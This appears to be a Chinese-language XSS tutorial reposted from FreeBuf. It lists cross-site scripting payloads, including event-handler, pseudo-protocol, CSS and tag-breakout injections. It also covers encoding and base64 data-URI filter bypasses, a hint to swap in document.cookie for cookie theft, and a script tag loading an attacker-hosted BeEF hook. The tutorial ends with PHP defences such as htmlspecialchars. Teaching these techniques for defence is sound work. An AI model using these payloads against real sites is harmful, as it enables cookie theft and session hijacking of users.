第一部分:常用JS测试语句小结
1.0 常用测试语句说明
<script>alert(1)</script> //这里alert(1)只是为了简单明了,当然可以弹出cookie.把1换成document.cookie即可.
<script src=x onerror=alert(1)></script> //引入x,由于x不存在,触发onerror函数,进行弹框
<script src=’http://www.test.com/probe.js’></script> //直接引入到攻击者的后台网站(可以直接用beef)
<svg onload=alert(1)> //svg标签用来插入图形,onload表示页面加载完成,触发弹框
<video src=1 onerror=alert(1)> //插入视频时,错误就触发弹框
<audio src=1 onerror=alert(1)> //插入声音时,错误就触发弹框
<a href=javascript:alert(1)></a> //href里可以使用javascript伪协议进行弹框(当过滤了其他语句时,可以使用)
XSS的挖掘思路,大概可以分为2大类:在标签内,还是标签外.
(1)如果在标签外,就想办法先闭合标签,再构造<script>标签;
(2)如果在标签内,就想办法闭合本标签,构造JS事件或伪协议的方式来触发XSS;
根据不同的情况,详细举例如下:
1.1 html标签内
#情况1、输出在html标签外
需要可以构造JS完整标签域,如果不能构造标签就不存在XSS漏洞。
#举例:
<p>hello
<script type=”text/javascript”>alert(‘我是html中xss’)</script>
</p>
1.2 html标签外
#情况2、输出到标签中:先闭合,再构造事件属性.
如果输出在”双引号或者’单引号内部,需要能够闭合引号,如果不能闭合引号,就需要看能否在当前的标签属性中执行js代码,如果不能,就不存在XSS漏洞。
原始语句1:<body {构造事件payload}>
原始语句2:<img src=”#” alt=”{payload}”>
原始语句3:<input type=”text” name=”” value=”{payload}”>
1.3 利用css触发弹框举例
<body style=”background:url(‘javascript:alert(“xxxx”)’)”> #IE9/7/10可以弹框(其他不可以)
<img src=”#” style=”xss:expression(alert(‘img_xss’))” > #IE9可以,IE10不行<style type=”text/css”>
body{xss:expression(alert(‘body_xss’));} //IE9可以,其他不行
</style>
1.4 script标签中
<script type=”text/javascript”>
//原始语句:var x=’hello{payload}’;先用'</script>闭合前边的变量和script标签,再重新构造标签.
var x = ‘hello'</script><script type=”text/javascript”>alert(111)</script>>’;
document.write(x);
</script>
1.5 通过伪协议
<iframe src=”javascript:alert(111)”></iframe> //火狐/IE/谷歌都支持
<a href=”javascript:alert(111)”>aaa</a>
当然还有其他标签,这里就不一一列举了
第二部分:常用的JS编码举例
2.1 常见编码介绍
1. URL编码:将不安全的字符使用URL方式传输; 比如%20(空格)
2. html编码:防止特殊字符比如<>对页面造成影响,一般以&开头,分号结果.
3. javascript编码: 可以识别8进制/16进制和Unicode编码
4.base64编码: 一般需要配合data协议使用
说明:一般情况为了防止服务端对用户输入做了过滤,这时候可以尝试用编码进行绕过
有的浏览器版本差异,需测试不同的语句,是否能被浏览器执行.
2.2 HTML实体编码
1.HTML实体编码:主要分为10进制和16进制,格式为 &#开头以分号结尾;
(1)比如:< 的10进制编码为 < <的16进制编码为 <
2.html实体编码在JS中的使用
#把alert进行html10进制和16进制编码
<img src=1 onerror=”alert('xss')”> # 火狐/谷歌/IE都支持,进行html十进制编码
<img src=1 onerror=”alert(444)”> #火狐/谷歌/IE都支持,进行html的十六进制编码
2.3 JS中的编码分类
1.JS中可以识别的编码类型有
(1)三个八进制数字,如果不够个数,前面补0,例如“<”编码为“\074”
(2)两个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\x3c”
(3)四个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\u003c” ===>也叫做Unicode编码
2.JS中使用Unicode编码举例(相对来讲,Unicode编码用的比较广;8进制和16进制有兴趣的同学,可自行查阅)
#alert转换为Unicode是(\u0061\u006c\u0065\u0072\u0074)各种编码也可以随便使用.
<img src=1 onerror=”\u0061\u006c\u0065\u0072\u0074(1)”> #火狐/谷歌/IE都支持
2.4 Base64编码和data协议使用
1.Base64编码介绍:Base64就是一种基于64个可打印字符来表示二进制数据的方法。
有很多优点:
(1)对原始数据进行编码(再签名或者加密等再Base64传输),需要解码后才能阅读,增加了一定的安全性;
(2)更方便数据的传输,例如二进制文件或图片等无法用字符直接传输;
(3)防止一些特殊字符对原始数据的解析干扰
2.base64应用举例
(1)准备测试语句并进行Base64加密(相对来说script弹框可以执行的情况更多)
<script>alert(1)</script> Base64:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
<img src=x onerror=alert(1)> Base64:PGltZyBzcmX9eCBvbmVycX9yPWFsZXJ0KDEpPg==
说明:发布文章时,Base64编码中有M9不能发布,所以改成了X9. 做练习时,不要直接复制我的Base64编码呀.
可以使用burp/小葵/站长之间等在线工具进行Base64编码的转换.
(2)data协议介绍
直接把base64放入页面是不能执行的,我们需要告诉浏览器使用的编码格式.而data就是用来搭配base64使用的.
data基本格式: 资源类型 ; 编码类型 , 弹框内容;
(3)配合data标签使用
<a>标签举例
<a href=”data:text/html;charset=utf-8;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>
script</a>
<a href=”data:text/html;base64,PGltZyBzcmX9eCBvbmVycX9yPWFsZXJ0KDEpPg==”>img</a>
<object>标签举例
<object data=”data:text/html;charset=utf-8;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>
script</object>
<object data=”data:text/html;base64,PGltZyBzcmX9eCBvbmVycX9yPWFsZXJ0KDEpPg==”>
img</object>
<iframe>标签举例
<iframe src=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></iframe>
<iframe src=”data:text/html;base64,PGltZyBzcmX9eCBvbmVycX9yPWFsZXJ0KDEpPg==”></iframe>
第三部分:XSS的防御
3.1 XSS防御方法
总体思路:对用户输入进行过滤,对输出进行编码;
1. 对用户输入进行XSS防御方式有2种:基于黑名单的过滤和基于白名单的过滤. 而白名单相对来说更安全;
黑名单:只规定哪些数据不能被输入,很可能被绕过;比如对 ‘ ” <> 等进行过滤
白名单:只定义哪些数据正常才能被提交;
2. 设置http-only参数为true,这样JS就不能读取cookie信息了;(特殊常见可能被绕过)
3. 使用一些函数进行防御
4. 不要随意打开一些来历不明的网站或链接
3.2 XSS防御函数
1. htmlspecialchars:可以把输入内容转换为HTML实体.
//该函数的语法:htmlspecialchars(string,flags,character-set,double_encode)
(1)预定义的字符是:
& (和号)成为 &
” (双引号)成为 "
’ (单引号)成为'
< (小于)成为 <
>(大于)成为 >
//过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号
可用的quotestyle类型:
ENT_COMPAT – 默认。仅编码双引号
ENT_QUOTES – 编码双引号和单引号
ENT_NOQUOTES – 不编码任何引号
//举例1:设置ENT_QUOTES
$message = htmlspecialchars($_GET[‘message’],ENT_QUOTES);
//举例2:
$str = “<script>alert(document.cookie)</script>”;
echo $str;
$str1 = htmlspecialchars($str);
2.htmlentities()作用:把特殊字符转换为html实体
#基本格式:htmlentities(string,flag,character-set,double_encode)函数
$str = “Bill & ‘Steve'”;
echo htmlentities($str);
echo htmlentities($str, ENT_COMPAT); // 只转换双引号
3.strip_tags()函数作用:自动去掉字符串中HTML/XML和PHP的标签;始终会剥离HTML注释,不能修改.
#举例1:移除html标签
echo strip_tags(“Hello <b>world!</b>”); #结果Hello world!
#举例2:移除JS标签
$str = “<script>alert(document.cookie);</script>”;
$new = strip_tags($str);
echo $new; #结果alert(document.cookie)
4.这些函数虽然能从一定程度上实现对XSS的防护,但是有的时候不够灵活. 还可以根据需求,自定义函数,对一些特殊字符进行转译
来源:freebuf.com 2020-07-24 23:58:27 by: zhijian
请登录后发表评论
注册